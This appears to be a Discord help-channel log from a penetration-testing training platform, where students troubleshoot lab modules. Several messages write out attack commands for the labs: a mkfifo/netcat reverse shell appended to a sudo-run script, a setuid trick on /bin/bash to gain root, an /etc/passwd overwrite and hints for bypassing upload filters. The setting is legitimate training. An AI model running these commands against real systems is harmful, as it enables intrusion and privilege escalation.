The way the academy explains things, man if you concentrate and do the work, you WILL get better! Im by no means a beginner anymore but I always had issues with Sql Injections

and wow I finally fully get them, its an amazing feeling

rant over!

@next bronze btw I didnt pass OSCP the other day. Fell 10 points short. it was super annoying cus I got the 3 single machines, didnt have bonus points and couldnt get into ws01 for the AD set of machines. Otherwise I believe I could've got a perfect score. Cus Academy has taught me AD quite well...

But we move. Trying again in march

[next bronze]

ah that sucks, so close, don't give up! you will get there 💪

[latent glen]

absolutely, no doubt!

[tidal kelp]

Hi, can I DM you about this Injection Attacks skill assessment? I have tried HTML Injection in PDF Generators at comment but don't work. I would love to chat with you and get a nudge ideas off. Thanks

[autumn mirage]

hi folks,
is any third party service i can use to share my progress with employer with the link besides Student Transcript?

[misty current]

Sure, you can DM.

[quick crane]

can I dm you

[gray shoal]

hello, i joined the platform 3 days ago and allwys i have 0 / 1 spawns left, if i buy the 18 dollars a month subscription, will it sort the problem?
also, im normal to pay with paypal at the internet, will it be safe to put my card?

[fathom pendant]

If you buy any amount of cubes you get unlimited: I will also say, setting up your own virtual machine will be better

[gray shoal]

i dont what "setting up your own vm" means

[fathom pendant]

Set up your own virtual machine

[frosty spade]

hello friends im currently stuck on the first question of the skills assessment of the intro to assembly can anyone point me towards how one can go about completing it im missing some thing maybe send me to some other learning resource with realivent info cause im completly lost

[gray shoal]

yea im not sure what it means

[fathom pendant]

Use your own virtual machine instead of the one on the website

[next bronze]

#modules message

[gray shoal]

the Vm is the window where i click start instance and then interact?

[fathom pendant]

Yes, you can download and install one on your system instead of using that

Virtualbox and VMware are popular for windows systems

[gray shoal]

i thought this window is simulating the "target" , if i want another window like that, i need to get into another use PC, no?

[fathom pendant]

There's a module called "Setting up" that walks through it

[fathom pendant]

The target is separate from the pwnbox "start instance"

[fathom pendant]

You can do it on the same pc

[frosty spade]

@next bronze Ive gotten prompt but it closes out on return tried sending it to provided box and it fails to load

[gray shoal]

ill get to it then, i finished the "into to accademy"

now im doing "learning proccess" "getting started" and "linux fundamentals"

[next bronze]

what? the first question got nothing to do with the target

[fathom pendant]

Then you didn't really pay attention, the "target" is always what's spawned with the "Click here to spawn target" you don't have to "spawn instance" with your own vm

They are separate buttons with separate functions

[gray shoal]

i guess i missed that info. thanks man for being so helpful and responsive

[sterile bane]

Hlo

[frosty spade]

@next bronze this question is confusing the crap out of me the shellcodes ive extracted just pops a broken command prompt

[fathom pendant]

Also a vm allows you to be in more control of things

[sterile bane]

@frosty spade Can I DM you

[fathom pendant]

Are you dming to help them?

[gray shoal]

i dont know where "click here to to spawn target" is, did i miss something

[next bronze]

there's no need to run the shell code on the target, use the shellcode loader script. follow the steps I gave

[fathom pendant]

It's right above the questions

Green text

@gray shoal as an example

[gray shoal]

can i dm you?

how to send screenshot here? prnt screen ctrl v doesnt work

[fathom pendant]

The learning process module doesn't have target interactive sections

So you may not see it

[gray shoal]

yea i was just about to say that its not clickable

[fathom pendant]

The intro module explains the different section types

[fathom pendant]

If it's in the text section of the lesson, it won't be - you'll need to scroll down to the questions

It will be below the "spawn instance" window

The spawn target system button will ALWAYS be near the section questions

[gray shoal]

i had trouble because these are the instructions : Follow the steps below to complete this exercise.

Spawn your target!
Spawn My Workstation if you haven't done so.
From your workstation, open Firefox and browse to the target URL.
Answer the question below.

and the mozila firefox didnt apear for me, so i used chat gpt to give me a command to download it

i think i havent yet seen the spawn target system

[fathom pendant]

If you're relying on chatGPT. Then you're not gonna learn

[gray shoal]

not relying on it but i ask question there sometime

like i ask here

[fathom pendant]

Also: is English your first language?

[gray shoal]

no

[fathom pendant]

Then that's why there's gonna be struggles

[gray shoal]

i speak english well tho

[fathom pendant]

You're not understanding the material. However.

[frosty spade]

@next bronze ive looped it ended with a seg fault extracted with gdb but the shell just gives be an empty prompt

[fathom pendant]

The workstation, "spawn instance" does in-fact have Firefox on it

[frosty spade]

xor [rdx], rbx
add rdx, 8
loop

[fathom pendant]

The spawn target button would be located below that window, right above the first question

[gray shoal]

how to send screenshots here?

[fathom pendant]

You need to link your app.hackthebox.com account following #welcome

But it's likely you misunderstood what you need to do

Literally just scroll down to where the questions are

And click the green text there

[gray shoal]

but i answered the questions correctly

[fathom pendant]

Not the text that's detailing instructions in that section

[next bronze]

did you remove the 0x

[fathom pendant]

Then we're misunderstanding each other

You understand how to spawn and interact with targets, but there's a disconnect

The pwnbox. "Spawn Instance" is NOT the target

[gray shoal]

ok go on

[frosty spade]

@next bronze from the script? or from the gdp codes?

[gray shoal]

if i open mozilla firefox and join put the IP on the website line there, is it spawning a target?

[gray shoal]

then what is it? and what would the target be?

[fathom pendant]

No

[next bronze]

your shellcode should not contain 0x

[fathom pendant]

The target is whatever IP is given to you when you click the Spawn target button

When you used the browser: that's just interacting with the target

[frosty spade]

@next bronze id does not contain any x0

[next bronze]

id?

[fathom pendant]

The target is already spawned before you put the ip in your browser

[gray shoal]

is the spawn target button should be clickable in the "introduction to academy" module?

[fathom pendant]

Only above the questions directly. The in-text part is ONLY an example, you cannot click that

[gray shoal]

i dont see this button anywhere

oh

[frosty spade]

@next bronze my code starts with 4831c05048bbe67

[gray shoal]

found it

it gave me an ip like you said

with that ip, what do i do?

[next bronze]

that seems right, dm me

[fathom pendant]

It depends

Some targets will need you to authenticate to it via rdp/ssh if it's an ip:port generally they are interacted with via browser http://ip:port

However it's important to read the questions

[gray shoal]

thank you, ill continue

really thank you

[fathom pendant]

Usually you will be told to 'ssh to ip with "username" and "password"'

The questions give more context to what you're specifically meant to do

[gray shoal]

okay

ill keep looking and learning

is it safe to put my credit card then? in the website?

[fathom pendant]

Yes

[gray shoal]

thanks

[fathom pendant]

I've not had any mysterious charges from htb

And I bought cubes over a year ago

[gray shoal]

i think the silver subcsription will be enough for me

200 cubes every month and if i correctly understood we are being refunded for every module we finish no?

right?

[fathom pendant]

Sort of

Only tier0 give all their cubes back

The rest give 20%

[gray shoal]

oh

ok ill buy cubes if i have, for now i need the unlimited spawns

[fathom pendant]

buying a monthly sub is cheaper in the long run ¯_(ツ)_/¯

[gray shoal]

yea just bought the 18 dollars monthly subscription

how do i cancel my membership if i want to?

[fathom pendant]

In the billing page, there's a button that says "cancel subscription"

[gray shoal]

found it

just wanted to make sure it exists ^^

[gray shoal]

you should be payed by htbox

[fathom pendant]

It would be illegal for them not to have one

[glossy flame]

Anyone available to support me on the "Detecting Attacker Behavior With Splunk Based On Analytics", I am quite sure that I have the correct query although cant get into the answer. Maybe something small 🤔

[steep crescent]

HI I've started recently HTB academy, I'm unable to start the machine (Spawn machine)

[dreamy solar]

Hello everyone, I am doing the final exercise of this chapter: FILE UPLOAD ATTACKS, I managed to take all the information necessary to create a payload to create a reversed shell but I think I have a problem in my payload, could you help me? I am mainly looking for the procedure that I must carry out. I analyzed my files (upload.php and common-functions.php) so I am informed, I was told to do this but obviously it still does not work...

[wild oriole]

I did not take this module yet, but try the nullable byte, brute force the allowed executable extensions.
Try to submit a correct magic header bytes for the given image.

[buoyant escarp]

Filename.phar.jpeg
Sounds like there is a missing .php

[fathom pendant]

@gray shoal next time ask for permission before dming

and 2 i don't know that person

[dreamy solar]

where please ? normaly phar is okay

[buoyant escarp]

Ok then nvm

[dreamy solar]

what is NVM ? I am French ^^"

[fathom pendant]

nvm - nevermind

[cedar yew]

Module: Information Gathering - Web Edition
tasks: Active Subdomain Enumuretion

hi guys i have a problem
I added the domain and IP address of the machine in the question to the host file, but I cannot analyze it with the nslookup tool.

i can ping inlanefreight htb

[fathom pendant]

nslookup domain ip

nslookup inlanefreight.htb target_ip

[cedar yew]

*** Can't find inlanefreight.htb: No answer

i dont understand why isnt working

[fathom pendant]

you need to use the target_ip to query it with

[cedar yew]

my etv/hosts

machine_ip inlanefreight.htb

[fathom pendant]

you still need to specify the ip with nslookup

otherwise it just attempts to use public dns servers, which will fail

[cedar yew]

okey understand but not working
nslookup inlanefreight.htb 10.129.97.97
Server: 10.129.97.97
Address: 10.129.97.97#53

*** Can't find inlanefreight.htb: No answer

10.129.97.97 (machine_ip)

[fathom pendant]

are you connected to the vpn?

:)

[cedar yew]

yeap

and im looking web page use the apache

[fathom pendant]

try removing it from the /etc/hosts file and see if that makes a difference

i remember it being a bit odd at times

[cedar yew]

oky im try

reset the machine and remove my hosts conf and again added now i have diffrent error
** server can't find <diffrent_ip>.in-addr.arpa: NXDOMAIN

[lusty thicket]

what did you add now?

[cedar yew]

hosts file

new_ip inlanefreight.htb

[fathom pendant]

what section is this again?

[cedar yew]

Module: Information Gathering - Web Edition
Sıbject: Active Subdomain Enumuretion
tasks1 : Submit the FQDN of the nameserver for the "inlanefreight.htb" domain as the answer.

[fathom pendant]

nslookup -type=NS inlanefreight.htb ip?

[cedar yew]

oh okey its working

[fathom pendant]

you needed to specify the type

that's why

[cedar yew]

i think maybe this machine have a problem

[fathom pendant]

no

[cedar yew]

bcs before use the command and not working
commnand-> nslookup -type=ANY inlanefreight.htb ip

[fathom pendant]

works fine for me

you need to read the section again to understand the commands

because you need to add a -query type

[cedar yew]

yeap understand thx

[umbral fulcrum]

hey guys, did someone here do the prolabs?

[fathom pendant]

this channel isn't related to prolabs

[umbral fulcrum]

I know but they say the role path is equivalent to some of the prolabs

[fathom pendant]

eh i wouldn't say equivalent

i would say it helps but i wouldn't go as far as to say it's equivalent

i.e. CPTS covers 80% of what you'd find on Zephyr

but i wouldn't say it's 1::1

[umbral fulcrum]

https://academy.hackthebox.com/academy-relations/prolabs/offshore

that's how it's exabits

modules + certificate = prolab

[fathom pendant]

yes; however there's more to those than what's in the courses

¯_(ツ)_/¯

not to mention a few of those are outside of the course

[umbral fulcrum]

that's Y I'm asking
& it's knida annoying

[fathom pendant]

but it being equivalent is kinda not correct to say

those modules will help you understand and adapt your techniques to attack the prolab

[frosty spade]

there has to be an easier way to get the shell code for the intro to assembly skill question1

[next bronze]

cyberchef

but I'd recommend sticking with what you know with gdb first

[rustic sage]

Hello I am new

[next bronze]

if you're still stuck dm me your code

[wild oriole]

Guys, do you think Mac M1 Pro is good for bug hunting and penetration testing??
I'm a software engineer and I'm using it for my daily full time work

[rustic sage]

I can't identify myself because of my alt account @rustic sage

Any admins here? Please?

I need help

[fathom pendant]

just dm one

literally if you clickthe member list next to the search bar on desktop if you don't already see the list on the righthand side

[rustic sage]

Dude I alrdy know

[fathom pendant]

plenty of mods are online rn

[rustic sage]

It's just that

No one is replying

[fathom pendant]

then be patient

you're not owed any sense of rushed support

[rustic sage]

@frosty spade

Nvm

I need admins help

[fathom pendant]

just chill and wait

[frosty spade]

i can see your name basilisk

[fathom pendant]

@frosty spade he's trying to link his htb account

[frosty spade]

oh

[fathom pendant]

his discord username is basilisk that doesn't mean that's his htb username

[rustic sage]

Basilisk is a Harry potter character fam

[frosty spade]

i know go team slytherine

[fathom pendant]

while technically true, the Basilisk is a mythological creature from before Harry Potter

[rustic sage]

Malfoy gang

[rustic sage]

No wonder

[fathom pendant]

pspssps @urban sage

[rustic sage]

It appeared since Salazar Slytherin sealed in the chambers of secrets

[frosty spade]

man whoever wrote this module should be old yellard im going in circles been at this for 4 days

[fathom pendant]

skill issue

[next bronze]

it is indeed, skill issue. the module is quite well writtern imo

[fathom pendant]

also @next bronze offered help

[fathom pendant]

i'm gonna loop myself into a rope

[frosty spade]

its ment to be an introduction what does an intro gotta do with skill im starting in something the question acts like ive been reasearching this for years

[young depot]

Hi everyone, please if anyone know from where I learn how to perform phishing assessments if you have any resources or courses please recommend
TIA

[rustic sage]

Phishing is bad

[urban sage]

@rustic sageDm me.

[pine dagger]

Intro Assembly is very much an intro to the topic. You really don't need to know anything to follow it. It's not going to make you a pro.

[young depot]

It's a project bro just for testing user awareness

[tidal kelp]

Module: Linux Priv Esc > Capabilities
Having some issues to override the /etc/passwd. I've identified that the vim.basic has the capability needed. When trying to edit the file in VIM I'm unable to exit, and doing it in a non-interactive way doesn't change the file...

Any ideas?

[pine dagger]

https://getgophish.com/

[pine dagger]

My notes on the interactive mode: ||In vim, press i to enter interactive mode, remove the x from the first line, press Escape to leave interactive mode, and then save with :wq!||

[rustic sage]

@urban sage

[tidal kelp]

For me the vim is non-responding when using Esc

[young depot]

I know tools but need proper Material to learn in depth

[fathom pendant]

wq! doesn't save

[rustic sage]

Can anyone gimme link to discord developers

[fathom pendant]

unless i'm missing something

[fathom pendant]

google it

this channel isn't even remotely related

[rustic sage]

Can't join

U gotta be a dev to join in?

[fathom pendant]

then it's likely invite only via admins of the server ¯_(ツ)_/¯

meaning even if you were to be given an invite by some rando -> you'd be kicked

[pine dagger]

Are you calling it by running ||/usr/bin/vim.basic|| ?

[fathom pendant]

i'm just stupid that's all

[tidal kelp]

it finally worked to exit vim, this box seems a bit buggy

[fathom pendant]

i forget how vim works sometimes

considering how often i use it, i should know more

[tidal kelp]

worked for me 😮

[fathom pendant]

i'm thinking q!

not wq!; i generally don't use ! after wq

[tidal kelp]

ah

[fathom pendant]

because wq should just work without it

[tidal kelp]

sometimes you need to read what others wrote...

[fathom pendant]

that's what threw me off

[fathom pendant]

🙄 it threw me off at first

[tidal kelp]

sorry was speaking to myself .P

[pine dagger]

I use wq! because I'm lazy and hate things. Its like saying "Die file die! I dont care what you were before!"

[fathom pendant]

¯_(ツ)_/¯

[zenith token]

Currently Working on the Module "Windows Event Logs & Finding Evil". I am at the section "Analyzing Evil With Sysmon & Event Logs". When being connected via the RDP Session the Remote machine is suuuuper slow, barely usable. Anyone else had the same problem? Is this just how it is?

[frosty spade]

@next bronze for the win thanks for steering me to the right path instead of the cliff I was heading down

[fathom pendant]

Switch to the tcp vpn

[zenith token]

Thanks for being my absolute hero today by helping me out with this nooby stuff 🙏 . Works like a charm now

[rustic sage]

File Inclusion skills assessment

I've identified the working PHP wrapper but can't get around the appended extension, currently trying to find some sort of hidden page but the wordlists aren't finding any. Tips/ideas? Please nothing big, just need a small hint

[stoic arrow]

cracking with hashcat cracking common hashes. i'm supposed to have any clue on which builtin should be using? i've already tried some with the rockyou wordlist

[fathom pendant]

if you just throw the hash at hashcat it'll auto id it

[stoic arrow]

Yeah, I already had the mode, but I don't know if I should just try all the builtin hashcat rules until I find the right one or is there some clue I'm missing?

[fathom pendant]

why are you using rules?

also see if there's a resources button for the module near the top of the screen

that may have a given pw list

[short gulch]

DIGITAL FORENSICS Skills Assessment "Determine the IP address of the C2 Server"
Is there a better way than launching ||netstat || bunch of times and "hoping" to get it? I couldnt find this IP in ||arpcache ||

[stoic arrow]

because with rockyou alone it stops with exhausted status and the hint says that i should i use them

[fathom pendant]

use hybrid mode maybe ¯_(ツ)_/¯

idk i haven't done this but it seems weirdly vague; look at the examples maybe and try one of those?

best64 maybe

[stoic arrow]

i've already tried best64, and i also thinked about examples, but in this section there are none with hybrid attack or rules. Prior sections used leetspeak but didnt work either. Im probably missing something or writing something wrong, because it seems too vague for a module exercise

thx anyway

[fathom pendant]

¯_(ツ)_/¯

hashcat module yeah?

[stoic arrow]

y

[fathom pendant]

(it helps to include that kind of info in your initial ask btw)

[stoic arrow]

mb

[fathom pendant]

best form for asking questions is:
Module name, Section name, What you're stuck on - what you've already tried

[frosty spade]

hello people anyone else stuck on pivoting and tunneling my packets get discarded outside recive window for the ptunnel section

[rustic sage]

Did you ever figure this out?

[sullen kayak]

Hey can i ask, what do people do in HTB-A if you run into some very slow VMs when you connect to them?

[fathom pendant]

switch vpn to tcp download if i'm not already using it; switch vpn region

[sullen kayak]

Cool thanks ill give it a try! 🙂

[blazing juniper]

hey, I'm in the footprinting module, "footprinting Lab - hard" section (the last one)
I scanned every port, TCP and UDP discovering pop3, Imap and snmp port open.
I used onesixtyone to find a community i could use braa on, but I have nothing as an output.
I'm almost sure I should find something based on what i saw on different forums, so I'm kinda clueless atm
my exact command
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt <ip>
any help ? 😮

[sullen kayak]

If you are doing academy stuff, are your VM always just fast? Mine seems to lag quite a bit when fx backspacing in the terminal...

[fathom pendant]

you should definitely get an output, the string is in the brackets []

(if not are you sure you're connected to the vpn?)

[blazing juniper]

I'm using the parrot session atm since i couldn't get access to the snmp.txt list anyway, but ye I usually check for the vpn

I don't even have anything as an output, so no " [xxxx] "
I restarted the box without success too

[fathom pendant]

then my second question is did you turn off the vpn before using the pwnbox?

:)

(also that wordlist is in SecLists so if it's not on your computer just download the SecLists repo)

[blazing juniper]

lmao that worked

tysm, i was starting to lose my mind over this

[fathom pendant]

well yeah, if you have the vpn running AND pwnbox running it causes network collisions

good luck with the next bits

imaps is my preffered way; but pop3s works just as well

[pure sorrel]

Hey all, I'm really struggling on the Attacking Enterprise Network: Enumeration and Privilege Escalation. The proxy I set up with ssh dynamic port forwarding and foxy proxy stops working after like 5 minutes, so I tried setting it up with the teams.exe example with msfvenom, but don't know how to get that file and run it on the DEV01 host.

[vague token]

Anyone else have a painfully slow RDP connection today in the pwnbox?

[languid wharf]

Hi, can someone help with the logrotate privesc section? ||I execute the logrotate binary as explained, and when I invoke the logrotation myself by echo hello > access.log, the exploit code finishes as he should, and I still don't see the temp access.log in /etc/bash_completions.d/||

[fathom pendant]

single > overwrites the file btw

[languid wharf]

I know, but it doesn't really matter for this purpose I think

[mossy bison]

i was doing other work, but i was able to use nmap scans and got the service running on port 22 and did a search for some exploits for that service which was OpenSSH 8.4p1 Debian 5+deb11u1. All i could find was a sid exploit which is exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection, there were a couple but this is the one i picked under sid but i picked this one i forgot why its been some hours since i was last on. when use the show options cmd im not sure what options i need to set. i know it says that any option that has yes needs to be set but i followed along with the section and just changed the RHOSTS and LHOST to what was shown and used check but got back an error. Am I using the wrong exploit search or am i supposed to find an ip to connect RHOSTS to and then keep LHOSTS tun0? Dm me with any helpful information thanks!

[mossy bison]

this is for this

[fathom pendant]

that's gonna get you nowhere

just visit the webpage that's given to you

also RHOSTS will be the given IP; RPORT will be the given port

since it's a public page (indicated by the public IP) then anything relying on a reverse shell is gonna go nowhere fast

[barren salmon]

Hey. im doing the nibble box and i keep getting this massages when i try to run the monitor.sh to escalat privilege

<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
sudo: /home/nibbler/personal/stuff/monitor.sh: command not found
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls
ls
LinEnum.sh  monitor.sh    wget-log
nibbler@Nibbles:/home/nibbler/personal/stuff$ 

i followed the intructions from the "Getting started modul" and i cant figure out why this dosent work for me. im unabel to get root

[mossy bison]

okay. ill try and figure out what the website is

[fathom pendant]

you don't have to try hard

you can put http://ip:port into the browser

:)

[mossy bison]

okay!! im most likely overthinking it then, thanks for the help!!

[fathom pendant]

yep

the vuln is staring right at you

plugins are nasty

[lusty thicket]

sudo bash monitor.sh

try

[fathom pendant]

the exploit requires the full path

[barren salmon]

it asks me for a sudo password

[fathom pendant]

iirc

yeah the sudo perms is for the full path

when you ls -la the file does have rwx perms yeah?

[barren salmon]

AAR okay it has -rw-r--r--

[fathom pendant]

chmod +x it

[tidal kelp]

I just did the Vulnerable Services section on the Linux priv esc module. If one would like to search for vulnerabilities, in services. Is it exploitDB the way to go, or are there any other good recommendations?

[barren salmon]

fu** lost my connection. brb

[tidal kelp]

Serachsploit maube

[barren salmon]

oh yes now i can runnet but get thiss nes problem

<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh             
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found

[fathom pendant]

check your listener

[misty bough]

Hey when doing the dancer course I get
/James.P> get flag.txt. Error opening local file flag.txt

[barren salmon]

i only godt this ``` Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.129.121.201.
Ncat: Connection from 10.129.121.201:44714.````

no uid=(root) or anyting

[fathom pendant]

yeah it's funky sometimes; i forget if there's anything else you gotta do

[lusty thicket]

strange

[limber river]

could you show the payload you use ?

[fathom pendant]

dancer is a starting-point machine; follow instructions in #welcome and you'll have access to #starting-point - this channel is for academy modules

[barren salmon]

hmm i unzip the personal.zip. appended the reveraw shell code on the monitor.sh. i opened a connecet via port8080 and donwloaded the LinEnum.sh file. made it a executable and the run it. i used a lisner on port 8448 to make a reverse shell, run the moniter.sh but that failed

[fathom pendant]

you mean the revshell from the section

[lusty thicket]

can you show the revshell you used

[fathom pendant]

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
``` this one

[barren salmon]

this one for the monitor.sh : echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.122 8443 >/tmp/f' | tee -a monitor.sh

[limber river]

you should open port 8443 not 8080

[fathom pendant]

the 8080 was to get linenum.sh

if they're following exactly from the section

[limber river]

aaah okay

[barren salmon]

i used 8080 to transer the files

this is just a pic of my ip

ip

[lusty thicket]

looks like you got a connection

[limber river]

you got a connection , but smh it didn't last for to long

[fathom pendant]

it looks like they sent an interrupt

[barren salmon]

yah i think i got it temporary, but i have not root

[fathom pendant]

"not have root"

elaborate; did you attempt running commands

[lusty thicket]

echo $0

try

[barren salmon]

mybe this helps?

[analog dock]

Does the script just execute your code? Otherwise just use chmod u+s /bin/bash

And then /bin/bash -p

[limber river]

did you kill you shell or what ?

[lusty thicket]

[fathom pendant]

killing the shell will definitely cause your second shell to drop

[limber river]

I mean why ^C ?

[barren salmon]

ya after som time i killed it in frustation

[fathom pendant]

[ctrl-c] does that

[limber river]

if you kill your shell , you will lost your shell

[lusty thicket]

i think that’s what it does

[barren salmon]

yah but i only killed it after severel attemps

[limber river]

ik ik , I was trying to explain to him

[limber river]

try this

[lusty thicket]

use a separate terminal for your listener

[fathom pendant]

anyway

your issue is that you killed the initial shell

[barren salmon]

i did i have 3 or somthing running

[fathom pendant]

you're not showing any commands run with the 8443 listener

[lusty thicket]

but still no root

[fathom pendant]

just the 9443 one that launched monitor.sh

[lusty thicket]

[limber river]

open your listener , then on a other terminal sudo run monitor.sh

it should work

[fathom pendant]

i take it you're doing the sanity check?

[limber river]

idk , I am just trying to help

[lusty thicket]

same

[barren salmon]

i have this one

[fathom pendant]

that's the connection

but i'm not seeing any commands run to check any code execution is the point

[lusty thicket]

is that connection still open?

[barren salmon]

oh okay. maybe i did it wrong becuse on the other therminal i got this massage and i thorgth. Ah man not again so i killed it

[lusty thicket]

what message

[fathom pendant]

from the 8443 connection; try running commands

that's what we're asking you to do

[analog dock]

Just do the chmod u+s /bin/bash already

This is taking way too long

[lusty thicket]

sh is interpreted line by line

[fathom pendant]

will that work for this box?

i honestly do not know

[analog dock]

If it executes code it will

[barren salmon]

i execepted a uid=0(root) gid=0(root) groups=0(root) masages in one of thoes terminal. maybe i fucked up at the end.

[fathom pendant]

you won't get that unless you run id

[barren salmon]

the one in the image

[analog dock]

You expect it to run that out of the blue?

[lusty thicket]

strange

[fathom pendant]

you need to run commands for it to execute commands

[barren salmon]

godda*** i was way to fast to kill it. i did not run the id

[fathom pendant]

machines don't run code without you telling them to ¯_(ツ)_/¯

the command you echoed into the monitor.sh was a reverse shell command

[barren salmon]

yah fu** i dont know why i excepeted it to.

[barren salmon]

yes

[fathom pendant]

you don't need to censor yourself

comical as it is, fuck, shit, damn are all allowed here

[analog dock]

What does the script do

Does it just execute a bash file you wrote?

[fathom pendant]

what script?

[analog dock]

Monitor.sh, the one you’re using sudo on

[fathom pendant]

monitor.sh? is just a script that was in the zip file

[analog dock]

Or py

[barren salmon]

oh thanks. i thought the bot will get pissed

[analog dock]

Ok so you can edit monitor.sh?

[fathom pendant]

yes

lol and it conveniently has sudo perms

[analog dock]

Ok, just put chmod u+s /bin/bash in it

[fathom pendant]

https://academy.hackthebox.com/module/77/section/853

this is what's being followed

[analog dock]

I’m on mobile, not logged in

[fathom pendant]

btw this is the "getting started" module

it doesn't go over anything like sticky-bits

[analog dock]

It’s a good trick to learn either way

[barren salmon]

its a monitoring script, and it is owned by our nibbler user and writeable. its come from the personal.zip file

[limber river]

Did you got the root

[analog dock]

Put chmod u+s /bin/bash in the script

[fathom pendant]

while it is; i think sticking to the module is good first

[analog dock]

Then run the script with sudo

[analog dock]

Is it telling you to do a revshell?

[fathom pendant]

instead of throwing something completely different at it

[rustic sage]

hey guys, got a bit of a different question. i'm running kali linux on a vm. But its reallly really slow, i already put my video memory to max, my got 12 gb ram for it, 2 core processors. but still really slow, anyone any tips?

[fathom pendant]

yes

[analog dock]

Meh

[barren salmon]

at the end of the script?

[fathom pendant]

don't use all of your hosts resources

[analog dock]

You can put it near the start

[limber river]

I Think you already got root, you just need to run id

[fathom pendant]

they're already in a shifty revshell to begin with - if they didn't fully upgrade the shell then a text editor is gonna be sketchy -at best

[lusty thicket]

it’s interpreted line by line

[barren salmon]

yah i think getting started is hard. hehe step lerning curve

[fathom pendant]

it's not hard

[analog dock]

After that run it with the sudo command, and then ls -la /bin/bash to see if the perms changed

[rustic sage]

really, that makes it slow?

[limber river]

Yes

[fathom pendant]

if you're using all of your hosts resources, then your host can't properly handle other things

causing heavly degraded performance

[rustic sage]

aaah alright understandable, thanks

[analog dock]

Not sure if it’ll work since you put that revshell there now

[fathom pendant]

going back to earlier: did you actually run commands on your 8443 listener

[barren salmon]

yah you migt be right. i was to impatient

[fathom pendant]

they'd have to put it earlier - since the only way to get it to run would be before the revshell

getting-started is a barebones sort of "here's some not-so complex things"

[barren salmon]

no i know its an easy box. just saying i think is a bit hard, without comlaing tho. just needs to do this more often

[fathom pendant]

i mean you're pretty much walked through it

just gotta make sure you pay more attention to the module

[barren salmon]

no. and that where i mad a mistake. i can see that now

[fathom pendant]

btw: the module even shows using the id command

[limber river]

Try starting point

[barren salmon]

youre absolutely right

[fathom pendant]

and tbh taking notes is super important/key to your success

[barren salmon]

yes i am taking notes. also chancing them. it helps. and this conversation here really helps to understand my mistakes

anyways. many thanks for the help. ill try the box again and use what you guys told me here. once again thank you all 🙏

[barren salmon]

thanks i will.

[sterile epoch]

I am in the tunneling with ICMP echo I am getting this error when I use the command
ssh -p2222 -lubuntu 127.0.0.1

I am running both server and client as sudo

[frozen stone]

Hey everyone, has anyone completed the Injection Attacks module? I need some help

[limber wasp]

Hey guys, I'm not sure where I need to post this... When I was going to the webshell, the target ip, in the Pivoting, Tunneling, and Port Forwarding - Skills Assessment module and theres this. Trying to upload a script, malware.

[pure sorrel]

Is anyone available to pm about the Attacking Enterprise Network module?

[fathom pendant]

it should fail regardless since the labs have no internet access

[cedar void]

"+ 0 Find another user with the "Do not require Kerberos pre-authentication setting" enabled. Perform an ASREPRoasting attack against this user, crack the hash, and submit their cleartext password as your answer. "
https://academy.hackthebox.com/module/143/section/1276

I found the other user (there are only two users who meet this condition and the other one is the one that I submitted as the answeR) and I found their password(using the tools mentioned in this section) , but its not accepting my answer

[fathom pendant]

hint: answer question 1

[fathom pendant]

i found this one to be frustrating as well; but it's the user for question 1; this question is just bad

[hallow remnant]

Module: ADVANCED XSS AND CSRF EXPLOITATION
Section: CORS Misconfigurations

This section has really worked me over. Can I PM someone with some Qs to help move my comprehension forward?

[gaunt igloo]

Oh grow up

Post the rule then - but you cant.

[analog dock]

Lol

[gaunt igloo]

Haha whatsup

Cool nicks

[midnight galleon]

Whoever designed the labs for the footprinting modules, great job my fren

[analog dock]

Rule 1

[gaunt igloo]

0x is my jams

[gaunt igloo]

Rule 34?

[midnight galleon]

Especially the skill assessment section

Was a brainfuck to me but I really enjoyed solving it

[buoyant escarp]

yeah the enumeration, snmp, imaps n stuff was fun

[gaunt igloo]

Dont censor me.

Worry about yourself.

Leave me alone.

[lusty thicket]

[solar flicker]

damn i cant nerd react him

💀

[midnight galleon]

Yeah
I think the attack it self was somehow sounded unrealistic ||| who the hell types their credentials in a script ||| but it did a great job explaining the concepts

[solar flicker]

I love the laws and ethics included in the bio but clearly doesnt follow laws or have ethics

[buoyant escarp]

yeah in that case its kind of weird to make a script to change PW
would be better if the script was to fetch something of mysql, so it had the creds as plaintext to connect, this would fit better imo

[sterile hawk]

[midnight galleon]

Yeah prolly
But it was good "in design" ig
The module itself was really rich of information, grinding through those walls of texts was insane

[buoyant escarp]

yes, it was exhausting to read all those, would be cool if academy had some videos that you could just watch and kinda relax your brain and eyes for a bit while still consuming some information

[sterile epoch]

what should I do now?

[midnight galleon]

I COPE

[fathom pendant]

real-time protection

[sterile epoch]

yes I turned it off now its working

[fathom pendant]

the idea is that the script is a password reset script

[rustic sage]

in Login Brute Forcing > Service Authentication Brute Forcing:

"Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?"

it says its going to take 24 hours to run with the william.txt i created in the same way they did. did i do something wrong?

[fathom pendant]

try attacking a different available service

or

[buoyant escarp]

lazagne.exe immediately closes its terminal window when finished, i dont have the time to read the ouput that fast, i tried to write the contents into a txt file so i can review it in time but its empty :S
any ideas?

[fathom pendant]

there's a tool called ssb that works really REALLY well

[rustic sage]

it just says SSH though in the question and i did everything as asked

[fathom pendant]

look up a tool; ssb

it's actually goated apparently

[rustic sage]

🍗🍗🍗

[fathom pendant]

10/10 great addition

[rustic sage]

yes !

[fathom pendant]

this isn't a gen chat btw

read #welcome to find out how to access more of the server

[sterile epoch]

any advice?

[fathom pendant]

a -> b -> c

3 machines total in this excersize

read the section carefully

[rustic sage]

i shouldn't have to learn tools that weren't mentioned should i

just for the purposes of completing the content

